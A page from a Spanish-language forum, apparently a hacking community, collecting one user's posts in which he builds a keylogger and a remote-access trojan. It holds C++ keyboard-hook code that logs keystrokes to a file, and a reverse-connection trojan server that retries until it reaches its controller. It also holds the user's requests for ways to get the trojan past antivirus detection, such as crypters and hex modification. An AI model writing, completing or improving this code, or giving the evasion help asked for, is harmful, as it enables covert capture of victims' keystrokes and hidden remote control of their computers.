Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - yovaninu

#61
Cita de: Queta en 13 Agosto 2011, 13:04 PM
Estás utilizando WM_KEYDOWN y como consecuencia:

http://msdn.microsoft.com/en-us/library/ms646280.aspx

Una posible solución sería utilizar WM_SYSKEYDOWN:

http://msdn.microsoft.com/en-us/library/ms646286.aspx


En efecto, he cambiado la linea
Código (cpp) [Seleccionar]

if (wParam == WM_KEYDOWN)

por
Código (cpp) [Seleccionar]

if (wParam == WM_KEYDOWN ||  wParam == WM_SYSKEYDOWN)

para que tambien reconozca dicho mensaje.

Y ha detectado todo corréctamente. espero que dicho cambio no altere la funcionalidad de mi keylogger.

Saludos y gracias Queta
#62
Hola amigos:

Estoy haciendo un hook al teclado y al tratar de capturar los corchetes mi codigo no lo hace, tampoco detecta el ALT-Izquierdo ni el ALT-Derecho.

Al menos en mi teclado, el corchete de apertura esta asi:
[`^ todo eso en una tecla (el corchete de apertura sale al presionar ALTGR+la tecla esa)
+*] todo eso en una tecla (el corchete de cierre sale al presionar ALTGR+la tecla esa)


tengo lo siguiente:
Código (cpp) [Seleccionar]

LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam) {

PKBDLLHOOKSTRUCT puntero = (PKBDLLHOOKSTRUCT) (lParam);
DWORD Tecla = puntero->vkCode;

if (wParam == WM_KEYDOWN) {

switch (puntero->vkCode) {
case VK_RETURN: fputs("\n",f);      break;  //ENTER DETECTADO
case VK_LMENU: fputs(" [AltI] ",f);  break;  //¿POR QUE NO DETECTA ESTA TECLA?
case VK_RMENU: fputs(" [AltD] ",f);  break;  //¿POR QUE NO DETECTA ESTA OTRA TECLA?

case VK_RIGHT: fputs("[D]",f);    break; //la tecla flecha derecha. OK
case VK_DOWN: fputs("[D]",f);    break; //la tecla flecha abajo. OK
case VK_DELETE: fputs("[S]",f);    break; //la tecla suprimir


//capturamos las teclas normales
default:

if ((puntero->vkCode>64)&&(puntero->vkCode<91)){
if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())){

puntero->vkCode+=32; // a minusculas
fputc(puntero->vkCode,f);
}else{  
fputc(puntero->vkCode,f);
}

}
if (Tecla==VK_SPACE){ //espacio en blanco
fputs(" ",f);
}

if (Tecla==190){ //detecta correctamente el punto y los dos puntos
 if (!(GetAsyncKeyState(VK_SHIFT)))
fputs(".",f); //punto
 else
fputs(":",f); //dos puntos
}

if (Tecla==188){ //coma y punto y coma. OK
 if (!(GetAsyncKeyState(VK_SHIFT)))
fputs(",",f);
 else
 fputs(";",f);
}

if (Tecla==189){ //guion y sub guion. OK
 if (!(GetAsyncKeyState(VK_SHIFT)))
fputs("-",f); //
 else
 fputs("_",f); //
}



/*ESTE ES EL CODIGO QUE NO TRABAJA, EL PROGRAMA EJECUTA PERO POR
ALGUNA RAZON NO PUEDE CAPTURAR NI EL ALTGR NI EL CORCHETE DE APERTURA*/

if (Tecla==186){ //ERROR ¿POR QUE NO DETECTA LA TECLA DONDE ESTA MI CORCHETE DE APERTURA?
if ((GetAsyncKeyState(VK_SHIFT))){ //si esta presionado SHIFT
 if (!GetAsyncKeyState(165)) //si no esta presionado ALTGR
   fputs("`",f); //
}
 else
 if (GetAsyncKeyState(165)) //si esta presionado ALTGR
   fputs("[",f); //corchete capturado <-- pero no funciona
 else
 fputs("^",f);


}
[/color]







}
}    
  return CallNextHookEx(NULL, nCode, wParam, lParam);
}



He probado con VK_OEM_4 pero tampoco.
¿Alguna sugerencia?.

#63
Ok, gracias por el ejemplo naderST, aunque en el Vs 2005, tuve que cambiar la definicion del preprocesador a UNICODE;_UNICODE;_WIN32_WINNT=0x0500 para que el ejemplo pueda ejecutar, ya sin ello daba el error

'WH_KEYBOARD_LL': undeclared identifier


Bueno, al ejecutar el codigo de ejempo, aparentemente, ( o hasta donde hago el esfuerzo de entender) captura la tecla pulsada y luego el programa se detiene, me sale la sgte ventana:


Cuales son los procedimientos que deberia realizar para poder ver las teclas capturadas y/o guardarlas en un archivo?

Gracias por su tiempo.
#64
Buenas a todos

Me he pasado varias horas googleando a cerca de esta interesante API para 'enganchar' al teclado y a otras cosas, pero la mucha info que hay, esta al 90% en ingles y me cuesta entenderlo, por lo que pido ayuda a alguna alma caritativa para poder entenderla y ojala con un ejemplo funcional para a partir de alli poder crear por ejemplo un keylogger simple.

Por lo que he logrado entender, seria mejor usar un hook a WH_KEYBOARD_LL y no a WH_KEYBOARD, ya que esta ultima dependeria de una DLL.

Y por ultimo, ya que estoy bajo Visual C++ 2005, cual es el mejor escenario para poder crear por ejemplo un keylogger, una aplicación de consola o una aplicacion de Win32.

Se que puedo estar preguntando cosas sin saber pero justamente por eso os pido que me orienten un poco.

Saludos y muchas gracias desde ya.
#65
Programación C/C++ / Peticion del Socket
20 Julio 2011, 05:47 AM
Hola a todos, estoy iniciandome con los Sockets en C y he tomado un code del amigo EON, crea un socket (servidor, en conexion inversa) y envia o intenta conectarse con su cliente que esta hecho en Basic:

Servidor:
Código (cpp) [Seleccionar]

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32.lib") //Para linkear la libreria del winsock
void main(void)
{
//ShowWindow(GetForegroundWindow(),SW_HIDE); //Esta linea sirve para ocultar la
//consola y poner el programa como proceso. Por ahora la dejamos asi.

WSADATA wsa; //Si no sabes que es todo esto, leete mejor el manual xDD
SOCKET sock;
struct hostent *host;
struct sockaddr_in direc;
int conex;
char Buffer[1024];
int len;
//Inicializamos
WSAStartup(MAKEWORD(2,2),&wsa);
//Establememos el dominio donde nos conectaremos, por ahora ponemos 127.0.0.1 para
//hacer las pruevas

host=gethostbyname("192.168.1.4"); //localhost = 127.0.0.1 ;P
//creamos el socket
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (sock==-1)
{
//Si se produce un error al crear el socket
main(); //Llamamos de nuevo a la función principal para seguir intentandolo
}
//Definimos la dirección a conectar que hemos recibido desde el gethostbyname
//y decimos que el puerto al que deberá conectar
direc.sin_family=AF_INET;
direc.sin_port=htons(1234); //Elegimos un puerto cualkiera, mas adelante esto lo elegirá el
//usuario cuando hagamos el server edit
direc.sin_addr = *((struct in_addr *)host->h_addr);
memset(direc.sin_zero,0,8);
//Intentamos establecer la conexión hasta que lo logremos
conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
while (conex==-1)
{ //Esto es lo que hará si no se puede conetar:
Sleep(250); //Hacemos q el programa se detenga un poco, cuando se termine el
//troyano conviene subir este intervalo
//Por ahora lo dejamos asi para hacer mas comodas las pruevas
conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); //He intentamos
//establecer la conexión de nuevo hasta que lo logremos.
printf("\nSe ha intentado conectar con el cliente...");
}

//printf("\n\n Ok, ");
len=send(sock,"aqui C++",8,0); //Como somos muy educados saludamos xDD el 4 despues
//del hola indica el nº de
//caracteres a enviar

while (len!=0){ //Mientras que permanezcamoos conectados

len = recv(sock,Buffer,1023,0); //Recibimos los datos que envie
if (len>0) //Si seguimos conectados...
{
Buffer[len]=0; //Ponemos los datos recibidos al final de la cadena

//Aki hay q poner el conjunto de if's para las acciones
}
}

main(); //Cuando nos desconectamos volvemos a llamar a main para q siga intentando
//conectarse
}


Muy bien, todo compila normalmente, ahora el cliente es un WINSOCK normal en Basic con su localport = 1234 con su boton 'Iniciar la Escucha'.

Al correr cliente y servidor y poner a la escucha el cliente, el servidor de C efectivamente lanza su peticion al cliente y éste lo detecta en su evento 'ConnectionRequest', PERO A PROPOSITO HAGO QUE NO LO ACEPTE, por lo que el servidor deberia seguir intentando conectarse con su cliente, lo que noto que pasa es que el servidor al enviar la peticion y notar que el cliente lo ha detectado, deja de enviar peticiones, ademas cuando cierro el cliente el servidor deberia volver a realizar infinitos intentos de conectarse con su cliente hasta que éste lo acepte con un Accept().

¿Que sucede?

Desde ya gracias por su tiempo y ayuda.
#66
Cita de: BlackZeroX▓▓▒▒░░ en  9 Julio 2011, 06:50 AM
Hay una manera para el CSocketMaster... solo debes modificar las apis de Cierto modo para que no lo detecte, o mas simple, seria reescribir otra clase para sockets...

Dulces Lunas!¡.
Ojala pudieras orientarme mas al respecto... y una consulta black... he notado que CSockeMasterPlus al parecer no es detectado... a parte de que este ultimo usa un arreglo para su funcionamiento ¿cual es la diferencia con el Csocketmaster?, pienso reescribir mi server con el plus y necesito una opinion favorable para hecerlo

Saludos
#67
En fin... como dice Raul va a ser un tanto dificil burlar al antivirus... supongo que ahora me toca probar a tratar de hacer indetectable el server, no veo otra opcion, mi consulta ahora es ¿cual metodo uds me recomiendan?, hay muchos que abundan por la red y preferiria espera a una opinion de ustedes para iniciar con uno de ellos como son el Metodo Rit,Modificacion Hexadecima,Crypters entre otros.
#68
Opte por reescribir el servidor dese cero y me doy con la sorpresa de que lo que AVIRA detecta como malware es el CSocketMaster, lo puse en un proyecto en blanco y al tratar de generar el exe, el antirus salta. Hay opciones para esto?
#69
Hola que tal, espero puedan orientarme con este tema.

El avira (y lo mas seguro otros antivirus) me esta detectando mi proyecto en VB de troyano como malware, lo sé, era de esperarse ya que las llamadas a la API o al registro de Windows lo hago asi, sin ningun tipo de cifrado o algo parecido. Mi pregunta es: ¿Hasta la fecha hay algun metodo efectivo que ayude a saltarse el antivirus?.. He leido sobre cifrar el proyecto pero al menos el de Karcrack no me ha funcionado, deja muchas lineas en rojo, tambien lo de las llamadas a las APIS no de la forma convencional sino de una tal que el antivirus no lo detecta, aun asi el tema no me ha quedado muy claro y por eso el motivo del post.

Desde ya gracias por su ayuda.

Saludos.
#70
Hola muchachos, despues de tiempo posteando por aqui... bueno al asunto: Tengo un exe en donde hago una simple comparacion en un form tipo login, tanto el user como el pass lo obtengo de una pagina web a dos variables 'user' y 'pass' respectivamente, luego las comparo con lo ingresado en 2 cuadros de texto.

sospecho que al comparar una variable (que esta en memoria) con un text resulta facil de ver con un debugger...

¿Que tecnicas me recomiendan para que ese mi programa no pueda ser crakeado con por ejemplo el ollydbg u otro?